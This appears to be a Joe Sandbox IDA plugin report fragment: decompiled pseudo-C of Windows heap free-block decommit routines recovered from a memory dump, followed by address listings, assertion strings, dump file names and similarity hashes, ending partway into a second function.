				void* __edi;
				void* __ebp;
				unsigned int _t242;
				signed char _t243;
				signed short _t245;
				signed int _t247;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				intOrPtr _t255;
				signed int _t265;
				signed int _t274;
				signed int _t277;
				intOrPtr _t278;
				signed int _t279;
				signed int _t302;
				signed short _t308;
				intOrPtr _t312;
				signed int _t323;
				signed int _t328;
				signed int _t331;
				intOrPtr _t332;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t340;
				intOrPtr _t341;
				intOrPtr _t350;
				signed int _t354;
				signed int _t357;
				intOrPtr _t358;
				signed int _t359;
				signed int _t378;
				signed short _t386;
				intOrPtr _t388;
				intOrPtr _t399;
				unsigned int _t415;
				signed int _t424;
				signed int _t427;
				signed int _t431;
				signed int _t439;
				signed short _t440;
				signed short _t443;
				signed int _t447;
				signed short* _t453;
				void* _t461;
				signed int _t472;
				signed int _t473;
				signed int _t475;
				intOrPtr _t476;
				signed int _t483;
				void* _t485;
				signed short _t496;
				unsigned int _t502;
				unsigned int _t504;
				signed int _t509;
				signed int _t514;
				signed short* _t524;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				unsigned int _t545;
				signed int _t547;

				_t444 = __ecx;
				_t547 = __ecx;
				_t533 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x34d76d48) != 0) {
					_push(_a4);
					_t509 = __edx;
					L11:
					_t242 = L34C90B10(_t444, _t509);
					L7:
					return _t242;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x240)) =  *((intOrPtr*)(__ecx + 0x240)) - 1;
						_t424 = E34C7F858(__edx,  &_v12,  &_v16);
						__eflags = _t424;
						if(_t424 != 0) {
							_t135 = _t547 + 0x244;
							 *_t135 =  *(_t547 + 0x244) - _v16;
							__eflags =  *_t135;
						}
					}
					_t439 = _a4;
					_t509 = _t533;
					_v44 = _t533;
					L14:
					_t243 =  *((intOrPtr*)(_t533 + 6));
					__eflags = _t243;
					if(_t243 == 0) {
						_t535 = _t547;
					} else {
						_t535 = (_t533 & 0xffff0000) - ((_t243 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t535;
					}
					_t245 = 7 + _t439 * 8 + _t509;
					_v12 = _t245;
					__eflags =  *_t245 - 3;
					if( *_t245 == 3) {
						_v16 = _t509 + _t439 * 8 + 8;
						E34C79E69(_t547, _t509 + _t439 * 8 + 8);
						_t496 = _v16;
						_v28 =  *(_t496 + 0x10);
						 *((intOrPtr*)(_t535 + 0x30)) =  *((intOrPtr*)(_t535 + 0x30)) - 1;
						_v36 =  *(_t496 + 0x14);
						 *((intOrPtr*)(_t535 + 0x2c)) =  *((intOrPtr*)(_t535 + 0x2c)) - ( *(_t496 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t547 + 0x1f8)) =  *((intOrPtr*)(_t547 + 0x1f8)) +  *(_t496 + 0x14);
						 *((intOrPtr*)(_t547 + 0x208)) =  *((intOrPtr*)(_t547 + 0x208)) - 1;
						_t415 =  *(_t496 + 0x14);
						__eflags = _t415 - 0x7f000;
						if(_t415 >= 0x7f000) {
							 *(_t547 + 0x1fc) =  *(_t547 + 0x1fc) - _t415;
							_t415 =  *(_t496 + 0x14);
						}
						_t509 = _v44;
						_t439 = _t439 + (_t415 >> 3) + 0x20;
						__eflags = 1;
						_a4 = _t439;
						_v40 = 1;
					} else {
						_v36 = _v36 & 0x00000000;
					}
					__eflags =  *((intOrPtr*)(_t547 + 0x54)) -  *((intOrPtr*)(_t509 + 4));
					if( *((intOrPtr*)(_t547 + 0x54)) ==  *((intOrPtr*)(_t509 + 4))) {
						_v48 = _t509;
						_t247 = E34C7BF92(_t535, _t509);
						__eflags = _a8;
						_v32 = _t247;
						if(_a8 != 0) {
							__eflags = _t247;
							if(_t247 == 0) {
								goto L20;
							}
						}
						__eflags =  *0x34d76960 - 1;
						if( *0x34d76960 >= 1) {
							__eflags = _t247;
							if(_t247 == 0) {
								_t399 =  *[fs:0x30];
								__eflags =  *(_t399 + 0xc);
								if( *(_t399 + 0xc) == 0) {
									_push("HEAP: ");
									E34C7B910();
								} else {
									E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								E34C7B910();
								__eflags =  *0x34d75da8;
								if( *0x34d75da8 == 0) {
									__eflags = 0;
									E34D3FC95(_t439, 1, _t535, 0);
								}
								_t509 = _v44;
								_t439 = _a4;
							}
						}
						_t334 = _v40;
						_t472 = _t439 << 3;
						_v20 = _t472;
						_t473 = _t472 + _t509;
						_v24 = _t473;
						__eflags = _t334;
						if(_t334 == 0) {
							_t473 = _t473 + 0xfffffff0;
						}
						_t475 = (_t473 & 0xfffff000) - _v48;
						__eflags = _t475;
						_v52 = _t475;
						if(_t475 == 0) {
							__eflags =  *0x34d76960 - 1;
							if( *0x34d76960 < 1) {
								goto L9;
							}
							__eflags = _t334;
							L147:
							if(__eflags == 0) {
								goto L9;
							}
							_t255 =  *[fs:0x30];
							__eflags =  *(_t255 + 0xc);
							if( *(_t255 + 0xc) == 0) {
								_push("HEAP: ");
								E34C7B910();
							} else {
								E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							E34C7B910();
							__eflags =  *0x34d75da8;
							if( *0x34d75da8 == 0) {
								__eflags = 0;
								E34D3FC95(_t439, 1, _t535, 0);
							}
							goto L153;
						} else {
							_t336 = E34C7FABA( &_v48,  &_v52, 0x4000);
							__eflags = _t336;
							if(_t336 < 0) {
								L90:
								 *((intOrPtr*)(_t547 + 0x220)) =  *((intOrPtr*)(_t547 + 0x220)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									L154:
									_t509 = _v44;
									L9:
									_t444 = _t547;
									L10:
									_push(_t439);
									goto L11;
								}
								E34C9096B(_t547, _t535, _v28 + 0xffffffe8, _v36, _v44,  &_a4);
								L153:
								_t439 = _a4;
								goto L154;
							}
							_t337 = E34C93C40();
							_t441 = 0x7ffe0380;
							__eflags = _t337;
							if(_t337 != 0) {
								_t340 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t340 = 0x7ffe0380;
							}
							__eflags =  *_t340;
							if( *_t340 != 0) {
								_t341 =  *[fs:0x30];
								__eflags =  *(_t341 + 0x240) & 0x00000001;
								if(( *(_t341 + 0x240) & 0x00000001) != 0) {
									E34D3F13E(_t441, _t547, _v48, _v52, 5);
								}
							}
							_t342 = _v32;
							 *((intOrPtr*)(_t547 + 0x210)) =  *((intOrPtr*)(_t547 + 0x210)) + 1;
							_t476 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t476 - 0x7f000;
							if(_t476 >= 0x7f000) {
								 *(_t547 + 0x1fc) =  *(_t547 + 0x1fc) - _t476;
							}
							E34C79E69(_t547, _t342);
							_t478 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							E34C7B9F6(_t547, _t478);
							 *((intOrPtr*)(_t535 + 0x2c)) =  *((intOrPtr*)(_t535 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t547 + 0x1f8)) =  *((intOrPtr*)(_t547 + 0x1f8)) - _v52;
							_t350 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t350 - 0x7f000;
							if(_t350 >= 0x7f000) {
								_t123 = _t547 + 0x1fc;
								 *_t123 =  *(_t547 + 0x1fc) + _t350;
								__eflags =  *_t123;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t524 = _v52 + _v48;
								_v32 = _t524;
								_t524[2] =  *((intOrPtr*)(_t547 + 0x54));
								__eflags = _v24 - _v52 + _v48;
								if(_v24 == _v52 + _v48) {
									__eflags =  *(_t547 + 0x4c);
									if( *(_t547 + 0x4c) != 0) {
										_t524[1] = _t524[1] ^ _t524[0] ^  *_t524;
										 *_t524 =  *_t524 ^  *(_t547 + 0x50);
									}
								} else {
									_t443 = 0;
									_t524[3] = 0;
									_t524[1] = 0;
									_t378 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t483 = _t378;
									 *_t524 = _t378;
									__eflags =  *0x34d76960 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t483 - 1;
										if(_t483 <= 1) {
											_t388 =  *[fs:0x30];
											__eflags =  *(_t388 + 0xc);
											if( *(_t388 + 0xc) == 0) {
												_push("HEAP: ");
												E34C7B910();
											} else {
												E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											E34C7B910();
											__eflags =  *0x34d75da8 - _t443; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												E34D3FC95(_t443, 1, _t535, 0);
											}
											_t524 = _v32;
										}
									}
									_t524[1] = _t443;
									__eflags =  *((intOrPtr*)(_t535 + 0x18)) - _t535;
									if( *((intOrPtr*)(_t535 + 0x18)) != _t535) {
										_t386 = (_t524 - _t535 >> 0x10) + 1;
										_v16 = _t386;
										__eflags = _t386 - 0xfe;
										if(_t386 >= 0xfe) {
											_push(_t443);
											_push(_t443);
											_push(_t535);
											_push(_t524);
											_t485 = 3;
											E34D45FED(_t485,  *((intOrPtr*)(_t535 + 0x18)));
											_t524 = _v48;
											_t386 = _v32;
										}
										_t443 = _t386;
									}
									_t524[3] = _t443;
									L34C90B10(_t547, _t524,  *_t524 & 0x0000ffff);
									_t441 = 0x7ffe0380;
								}
							}
							_t354 = E34C93C40();
							__eflags = _t354;
							if(_t354 != 0) {
								_t357 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t357 = _t441;
							}
							__eflags =  *_t357;
							if( *_t357 != 0) {
								_t358 =  *[fs:0x30];
								__eflags =  *(_t358 + 0x240) & 1;
								if(( *(_t358 + 0x240) & 1) != 0) {
									__eflags = E34C93C40();
									if(__eflags != 0) {
										_t441 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E34D3F058(_t441, _t547, _v48, __eflags, _v52,  *(_t547 + 0x74) << 3, _v40, _v36,  *_t441 & 0x000000ff);
								}
							}
							_t359 = E34C93C40();
							_t540 = 0x7ffe038a;
							_t440 = 0x230;
							__eflags = _t359;
							if(_t359 != 0) {
								_t242 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t242 = 0x7ffe038a;
							}
							__eflags =  *_t242;
							if( *_t242 != 0) {
								__eflags = E34C93C40();
								if(__eflags != 0) {
									_t540 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t440;
									__eflags = _t540;
								}
								_push( *_t540 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								L123:
								_push( *(_t547 + 0x74) << 3);
								_push(_v52);
								_t242 = E34D3F058(_t440, _t547, _v48, __eflags);
							}
							goto L7;
						}
					}
					L20:
					_t447 = _t509 + 0x0000101f & 0xfffff000;
					_v48 = _t447;
					__eflags = _t447 - _t509 + 0x28;
					if(_t447 == _t509 + 0x28) {
						_t447 = _t447 + 0x1000;
						_v48 = _t447;
					}
					_t250 = _t439 << 3;
					_v24 = _t250;
					_t251 = _t250 + _t509;
					__eflags = _v40;
					_v20 = _t251;
					if(_v40 == 0) {
						_t251 = _t251 + 0xfffffff0;
					}
					_t252 = _t251 & 0xfffff000;
					__eflags = _t252 - _t447;
					if(_t252 < _t447) {
						__eflags =  *0x34d76960 - 1; // 0x0
						if(__eflags < 0) {
							goto L9;
						}
						__eflags = _v40;
						goto L147;
					}
					_t265 = _t252 - _t447;
					__eflags = _a8;
					_v52 = _t265;
					if(_a8 != 0) {
						L25:
						__eflags = _t265;
						if(_t265 == 0) {
							L31:
							_t440 = 0;
							__eflags = _v40;
							if(_v40 == 0) {
								_t453 = _v48 + _v52;
								_v36 = _t453;
								_t453[2] =  *((intOrPtr*)(_t547 + 0x54));
								__eflags = _v20 - _v52 + _v48;
								if(_v20 == _v52 + _v48) {
									__eflags =  *(_t547 + 0x4c);
									if( *(_t547 + 0x4c) != 0) {
										_t453[1] = _t453[1] ^ _t453[0] ^  *_t453;
										 *_t453 =  *_t453 ^  *(_t547 + 0x50);
									}
								} else {
									_t453[3] = 0;
									_t453[1] = 0;
									_t302 = _v24 - _v52 - _v48 + _t509 >> 0x00000003 & 0x0000ffff;
									_t514 = _t302;
									 *_t453 = _t302;
									__eflags =  *0x34d76960 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t514 - 1;
										if(_t514 <= 1) {
											_t312 =  *[fs:0x30];
											__eflags =  *(_t312 + 0xc);
											if( *(_t312 + 0xc) == 0) {
												_push("HEAP: ");
												E34C7B910();
											} else {
												E34C7B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("(LONG)FreeEntry->Size > 1");
											E34C7B910();
											__eflags =  *0x34d75da8 - _t440; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												E34D3FC95(_t440, 1, _t535, 0);
											}
											_t453 = _v36;
										}
									}
									_t453[1] = _t440;
									_t515 =  *((intOrPtr*)(_t535 + 0x18));
									__eflags =  *((intOrPtr*)(_t535 + 0x18)) - _t535;
									if( *((intOrPtr*)(_t535 + 0x18)) != _t535) {
										_t308 = (_t453 - _t535 >> 0x10) + 1;
										_v12 = _t308;
										__eflags = _t308 - 0xfe;
										if(_t308 >= 0xfe) {
											_push(_t440);
											_push(_t440);
											_push(_t535);
											_push(_t453);
											_t461 = 3;
											E34D45FED(_t461, _t515);
											_t453 = _v52;
											_t308 = _v28;
										}
									} else {
										_t308 = _t440;
									}
									_t453[3] = _t308;
									L34C90B10(_t547, _t453,  *_t453 & 0x0000ffff);
								}
							}
							E34C9096B(_t547, _t535, _v48 + 0xffffffe8, _v52, _v44,  &_v8);
							L34C90B10(_t547, _v60, _v24);
							_t274 = E34C93C40();
							_t536 = 0x7ffe0380;
							__eflags = _t274;
							if(_t274 != 0) {
								_t277 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t277 = 0x7ffe0380;
							}
							__eflags =  *_t277;
							if( *_t277 != 0) {
								_t278 =  *[fs:0x30];
								__eflags =  *(_t278 + 0x240) & 1;
								if(( *(_t278 + 0x240) & 1) != 0) {
									__eflags = E34C93C40();
									if(__eflags != 0) {
										_t536 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E34D3F058(_t440, _t547, _v48, __eflags, _v52,  *(_t547 + 0x74) << 3, _t440, _t440,  *_t536 & 0x000000ff);
								}
							}
							_t279 = E34C93C40();
							_t537 = 0x7ffe038a;
							__eflags = _t279;
							if(_t279 != 0) {
								_t242 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t242 = 0x7ffe038a;
							}
							__eflags =  *_t242;
							if( *_t242 == 0) {
								goto L7;
							} else {
								__eflags = E34C93C40();
								if(__eflags != 0) {
									_t537 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t537;
								}
								_push( *_t537 & 0x000000ff);
								_push(_t440);
								_push(_t440);
								goto L123;
							}
						}
						 *((intOrPtr*)(_t547 + 0x210)) =  *((intOrPtr*)(_t547 + 0x210)) + 1;
						_t323 = E34C7FABA( &_v48,  &_v52, 0x4000);
						__eflags = _t323;
						if(_t323 < 0) {
							goto L90;
						}
						_t328 = E34C93C40();
						__eflags = _t328;
						if(_t328 != 0) {
							_t331 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						} else {
							_t331 = 0x7ffe0380;
						}
						__eflags =  *_t331;
						if( *_t331 != 0) {
							_t332 =  *[fs:0x30];
							__eflags =  *(_t332 + 0x240) & 1;
							if(( *(_t332 + 0x240) & 1) != 0) {
								E34D3F13E(_t439, _t547, _v48, _v52, 6);
							}
						}
						_t509 = _v44;
						goto L31;
					}
					__eflags =  *_v12 - 3;
					if( *_v12 != 3) {
						__eflags = _t265;
						if(_t265 == 0) {
							goto L9;
						}
						__eflags = _t265 -  *((intOrPtr*)(_t547 + 0x6c));
						if(_t265 >=  *((intOrPtr*)(_t547 + 0x6c))) {
							goto L25;
						} else {
							goto L9;
						}
					}
					goto L25;
				}
				_t439 = _a4;
				if(_t439 <  *((intOrPtr*)(__ecx + 0x6c))) {
					_t509 = __edx;
					goto L10;
				}
				_t427 =  *((intOrPtr*)(__ecx + 0x74)) + _t439;
				_v20 = _t427;
				if(_t427 <  *((intOrPtr*)(__ecx + 0x70)) || _v20 <  *(__ecx + 0x1f8) >>  *((intOrPtr*)(__ecx + 0x250)) + 3) {
					_t509 = _t533;
					goto L9;
				} else {
					_t431 = E34C91EB2(__ecx, __edx,  &_a4, 0);
					_t439 = _a4;
					_t509 = _t431;
					_v52 = _t509;
					if(_t439 - 0x201 > 0xfbff) {
						goto L14;
					} else {
						L34C90B10(__ecx, _t509, _t439);
						_t502 =  *(_t547 + 0x248);
						_t545 =  *((intOrPtr*)(_t547 + 0x1f8)) - ( *(_t547 + 0x74) << 3);
						_t242 = _t502 >> 4;
						if(_t545 < _t502 - _t242) {
							_t504 =  *(_t547 + 0x24c);
							_t242 = _t504 >> 2;
							__eflags = _t545 - _t504 - _t242;
							if(_t545 > _t504 - _t242) {
								_t242 = E34C7F6C1(_t547);
								 *(_t547 + 0x24c) = _t545;
								 *(_t547 + 0x248) = _t545;
							}
						}
						goto L7;
					}
				}
			}

0x34c7f113
0x34c7f120
0x34c7f123
0x34c7f127
0x34c7f137
0x34c7f13b
0x34cddc64
0x34cddc67
0x34c7f1d5
0x34c7f1d5
0x34c7f1c7
0x34c7f1cd
0x34c7f1cd
0x34c7f144
0x34cddc75
0x34cddc79
0x34cddc7b
0x34cddc8d
0x34cddc92
0x34cddc94
0x34cddc9a
0x34cddc9a
0x34cddc9a
0x34cddc9a
0x34cddc94
0x34cddca0
0x34cddca3
0x34cddca5
0x34c7f202
0x34c7f202
0x34c7f205
0x34c7f207
0x34cddcae
0x34c7f20d
0x34c7f21b
0x34c7f21b
0x34c7f21b
0x34c7f228
0x34c7f22a
0x34c7f22e
0x34c7f231
0x34c7f23f
0x34c7f243
0x34c7f248
0x34c7f24f
0x34c7f256
0x34c7f259
0x34c7f263
0x34c7f269
0x34c7f26f
0x34c7f275
0x34c7f278
0x34c7f27d
0x34c7f45b
0x34c7f461
0x34c7f461
0x34c7f283
0x34c7f28d
0x34c7f291
0x34c7f292
0x34c7f295
0x34c7f3be
0x34c7f3be
0x34c7f3be
0x34c7f29d
0x34c7f2a1
0x34c7f494
0x34c7f498
0x34c7f49d
0x34c7f4a1
0x34c7f4a5
0x34cddcb5
0x34cddcb7
0x00000000
0x00000000
0x34cddcbd
0x34c7f4ab
0x34c7f4b2
0x34cddcc2
0x34cddcc4
0x34cddcca
0x34cddcd0
0x34cddcd4
0x34cddcf3
0x34cddcf8
0x34cddcd6
0x34cddceb
0x34cddcf0
0x34cddcfe
0x34cddd03
0x34cddd08
0x34cddd10
0x34cddd12
0x34cddd17
0x34cddd17
0x34cddd1c
0x34cddd20
0x34cddd20
0x34cddcc4
0x34c7f4b8
0x34c7f4be
0x34c7f4c1
0x34c7f4c5
0x34c7f4c7
0x34c7f4cb
0x34c7f4cd
0x34cddd28
0x34cddd28
0x34c7f4d9
0x34c7f4d9
0x34c7f4dd
0x34c7f4e1
0x34cddd30
0x34cddd37
0x00000000
0x00000000
0x34cddd3d
0x34cde0fe
0x34cde0fe
0x00000000
0x00000000
0x34cde104
0x34cde10a
0x34cde10e
0x34cde12d
0x34cde132
0x34cde110
0x34cde125
0x34cde12a
0x34cde138
0x34cde13d
0x34cde142
0x34cde14a
0x34cde14c
0x34cde151
0x34cde151
0x00000000
0x34c7f4e7
0x34c7f4f5
0x34c7f4fa
0x34c7f4fc
0x34cddd44
0x34cddd44
0x34cddd4a
0x34cddd4f
0x34cde159
0x34cde159
0x34c7f1d2
0x34c7f1d2
0x34c7f1d4
0x34c7f1d4
0x00000000
0x34c7f1d4
0x34cddd6d
0x34cde156
0x34cde156
0x00000000
0x34cde156
0x34c7f502
0x34c7f507
0x34c7f50c
0x34c7f50e
0x34cddd80
0x34c7f514
0x34c7f514
0x34c7f514
0x34c7f516
0x34c7f519
0x34cddd8a
0x34cddd90
0x34cddd97
0x34cddda9
0x34cddda9
0x34cddd97
0x34c7f51f
0x34c7f523
0x34c7f529
0x34c7f52c
0x34c7f532
0x34cdddb3
0x34cdddb3
0x34c7f53c
0x34c7f541
0x34c7f54b
0x34c7f550
0x34c7f55c
0x34c7f563
0x34c7f56d
0x34c7f570
0x34c7f575
0x34c7f577
0x34c7f577
0x34c7f577
0x34c7f577
0x34c7f57d
0x34c7f582
0x34cdddc2
0x34cdddca
0x34cdddce
0x34cdddda
0x34cdddde
0x34cddeaf
0x34cddeb3
0x34cddec1
0x34cddec7
0x34cddec7
0x34cddde4
0x34cddde8
0x34cdddea
0x34cddded
0x34cdddf7
0x34cdddfa
0x34cdddfc
0x34cdde02
0x34cdde08
0x34cdde0a
0x34cdde0d
0x34cdde0f
0x34cdde15
0x34cdde18
0x34cdde37
0x34cdde3c
0x34cdde1a
0x34cdde2f
0x34cdde34
0x34cdde42
0x34cdde47
0x34cdde4d
0x34cdde53
0x34cdde55
0x34cdde5a
0x34cdde5a
0x34cdde5f
0x34cdde5f
0x34cdde0d
0x34cdde63
0x34cdde66
0x34cdde69
0x34cdde72
0x34cdde73
0x34cdde77
0x34cdde7c
0x34cdde7e
0x34cdde7f
0x34cdde80
0x34cdde81
0x34cdde87
0x34cdde88
0x34cdde8d
0x34cdde91
0x34cdde91
0x34cdde95
0x34cdde95
0x34cdde9d
0x34cddea0
0x34cddea5
0x34cddea5
0x34cdddde
0x34c7f588
0x34c7f58d
0x34c7f58f
0x34cdded7
0x34c7f595
0x34c7f595
0x34c7f595
0x34c7f597
0x34c7f59a
0x34cddee1
0x34cddeea
0x34cddef0
0x34cddefb
0x34cddefd
0x34cddf08
0x34cddf08
0x34cddf08
0x34cddf2b
0x34cddf2b
0x34cddef0
0x34c7f5a0
0x34c7f5a5
0x34c7f5aa
0x34c7f5af
0x34c7f5b1
0x34cddf3e
0x34c7f5b7
0x34c7f5b7
0x34c7f5b7
0x34c7f5b9
0x34c7f5bc
0x34cddf4a
0x34cddf4c
0x34cddf57
0x34cddf57
0x34cddf57
0x34cddf5c
0x34cddf5d
0x34cddf61
0x34cddf7c
0x34cddf88
0x34cddf89
0x34cddf8d
0x34cddf8d
0x00000000
0x34c7f5bc
0x34c7f4e1
0x34c7f2a7
0x34c7f2ad
0x34c7f2b6
0x34c7f2ba
0x34c7f2bc
0x34cddf97
0x34cddf9d
0x34cddf9d
0x34c7f2c4
0x34c7f2c7
0x34c7f2cb
0x34c7f2cd
0x34c7f2d2
0x34c7f2d6
0x34c7f3c8
0x34c7f3c8
0x34c7f2dc
0x34c7f2e1
0x34c7f2e3
0x34cde0ed
0x34cde0f3
0x00000000
0x00000000
0x34cde0f9
0x00000000
0x34cde0f9
0x34c7f2e9
0x34c7f2eb
0x34c7f2ef
0x34c7f2f3
0x34c7f302
0x34c7f302
0x34c7f304
0x34c7f346
0x34c7f346
0x34c7f348
0x34c7f34c
0x34c7f3ea
0x34c7f3f2
0x34c7f3f6
0x34c7f402
0x34c7f406
0x34cde046
0x34cde049
0x34cde057
0x34cde05d
0x34cde05d
0x34c7f40c
0x34c7f410
0x34c7f413
0x34c7f423
0x34c7f426
0x34c7f428
0x34c7f42e
0x34c7f434
0x34cddfe4
0x34cddfe7
0x34cddfed
0x34cddff3
0x34cddff6
0x34cde015
0x34cde01a
0x34cddff8
0x34cde00d
0x34cde012
0x34cde020
0x34cde025
0x34cde02b
0x34cde031
0x34cde033
0x34cde038
0x34cde038
0x34cde03d
0x34cde03d
0x34cddfe7
0x34c7f43a
0x34c7f43d
0x34c7f440
0x34c7f442
0x34c7f470
0x34c7f471
0x34c7f475
0x34c7f47a
0x34c7f47c
0x34c7f47d
0x34c7f47e
0x34c7f47f
0x34c7f482
0x34c7f483
0x34c7f488
0x34c7f48c
0x34c7f48c
0x34c7f444
0x34c7f444
0x34c7f444
0x34c7f446
0x34c7f451
0x34c7f451
0x34c7f406
0x34c7f36b
0x34c7f37a
0x34c7f37f
0x34c7f384
0x34c7f389
0x34c7f38b
0x34cde06d
0x34c7f391
0x34c7f391
0x34c7f391
0x34c7f393
0x34c7f396
0x34cde077
0x34cde080
0x34cde086
0x34cde091
0x34cde093
0x34cde09e
0x34cde09e
0x34cde09e
0x34cde0bb
0x34cde0bb
0x34cde086
0x34c7f39c
0x34c7f3a1
0x34c7f3a6
0x34c7f3a8
0x34cde0ce
0x34c7f3ae
0x34c7f3ae
0x34c7f3ae
0x34c7f3b0
0x34c7f3b3
0x00000000
0x34c7f3b9
0x34cde0dd
0x34cde0df
0x34cddf70
0x34cddf70
0x34cddf70
0x34cddf79
0x34cddf7a
0x34cddf7b
0x00000000
0x34cddf7b
0x34c7f3b3
0x34c7f306
0x34c7f31a
0x34c7f31f
0x34c7f321
0x00000000
0x00000000
0x34c7f327
0x34c7f32c
0x34c7f32e
0x34cddfaf
0x34c7f334
0x34c7f334
0x34c7f334
0x34c7f339
0x34c7f33c
0x34cddfb9
0x34cddfc2
0x34cddfc8
0x34cddfda
0x34cddfda
0x34cddfc8
0x34c7f342
0x00000000
0x34c7f342
0x34c7f2f9
0x34c7f2fc
0x34c7f3d0
0x34c7f3d2
0x00000000
0x00000000
0x34c7f3d8
0x34c7f3db
0x00000000
0x34c7f3e1
0x00000000
0x34c7f3e1
0x34c7f3db
0x00000000
0x34c7f2fc
0x34c7f14a
0x34c7f150
0x34cddc6e
0x00000000
0x34cddc6e
0x34c7f159
0x34c7f15b
0x34c7f162
0x34c7f1d0
0x00000000
0x34c7f17b
0x34c7f184
0x34c7f189
0x34c7f18c
0x34c7f18e
0x34c7f19e
0x00000000
0x34c7f1a0
0x34c7f1a3
0x34c7f1b1
0x34c7f1ba
0x34c7f1be
0x34c7f1c5
0x34c7f1dc
0x34c7f1e4
0x34c7f1e9
0x34c7f1eb
0x34c7f1ef
0x34c7f1f4
0x34c7f1fa
0x34c7f1fa
0x34c7f1eb
0x00000000
0x34c7f1c5
0x34c7f19e

Strings

HEAP[%wZ]: , xrefs: 34CDDCE6, 34CDDE2A, 34CDE008, 34CDE120
(LONG)FreeEntry->Size > 1, xrefs: 34CDE020
HEAP: , xrefs: 34CDDCF3, 34CDDE37, 34CDE015, 34CDE12D
(!TrailingUCR), xrefs: 34CDE138
(UCRBlock != NULL), xrefs: 34CDDCFE
((LONG)FreeEntry->Size > 1), xrefs: 34CDDE42

Memory Dump Source

Source File: 00000002.00000002.3388255379.0000000034C50000.00000040.00001000.00020000.00000000.sdmp, Offset: 34C50000, based on PE: true

Associated: 00000002.00000002.3388255379.0000000034D79000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3388255379.0000000034D7D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_34c50000_sOjxIU25DP.jbxd

Similarity

API ID:
String ID: (!TrailingUCR)$((LONG)FreeEntry->Size > 1)$(LONG)FreeEntry->Size > 1$(UCRBlock != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 0-523794902
Opcode ID: feaf0b6dee006072a85c7fead7b383df0a104f00dcc894bab5e9a52250d0b626
Instruction ID: 50bfbeb01f527aefe974433d80c5007d9d34963598c5715b89a2cbe029b3e749
Opcode Fuzzy Hash: feaf0b6dee006072a85c7fead7b383df0a104f00dcc894bab5e9a52250d0b626
Instruction Fuzzy Hash: B742FF75608B41DFE305CF29C890B6ABBE7FF89244F08496DE5A5CB252DB30D941CB62

Uniqueness

Uniqueness Score: -1.00%

Function 34C9B0D0 Relevance: 7.8, Strings: 6, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 97%

			E34C9B0D0(signed short* __ecx, signed short* __edx, signed int _a4, signed int* _a8) {
				char _v5;
				char _v6;
				char _v7;
				char _v8;
				signed short* _v12;
				char _v16;
				signed int _v20;
				char _v28;
				char _v36;
				char _v44;
				signed int _t75;
				char* _t76;
				signed int _t79;
				signed short* _t81;
				signed short* _t89;
				short* _t93;
				signed short* _t96;
				signed int _t97;
				signed int _t103;
				signed int _t112;
				void* _t119;
				char _t128;
				signed int _t134;
				signed short* _t135;
				signed int _t136;
				signed int* _t138;
				signed int _t140;
				signed short _t141;
				void* _t144;
				signed short _t145;
				signed int _t146;
				signed int _t151;
				signed short* _t161;
				signed short _t165;
				signed short _t168;
				signed short* _t183;
				signed int _t184;
				signed int _t186;
				void* _t189;

				_t135 = __ecx;
				_t183 = __edx;
				_v12 = __ecx;
				if(E34C9C4A0(0,  &_v16) < 0) {
					_v8 = 0;
				} else {
					_v8 = 1;
				}
				_t138 = _a8;
				_t75 = 0;
				_t184 = 0;
				_v5 = 0;
				if(( *_t138 & 0x00800008) != 0) {
					L16:
					_v12 = _t135;
					if( *_t183 != 0) {
						__eflags =  *0x34d737c0 & 0x00000005;
						if(( *0x34d737c0 & 0x00000005) != 0) {
							__eflags = _t75;
							_t76 = "SxS";
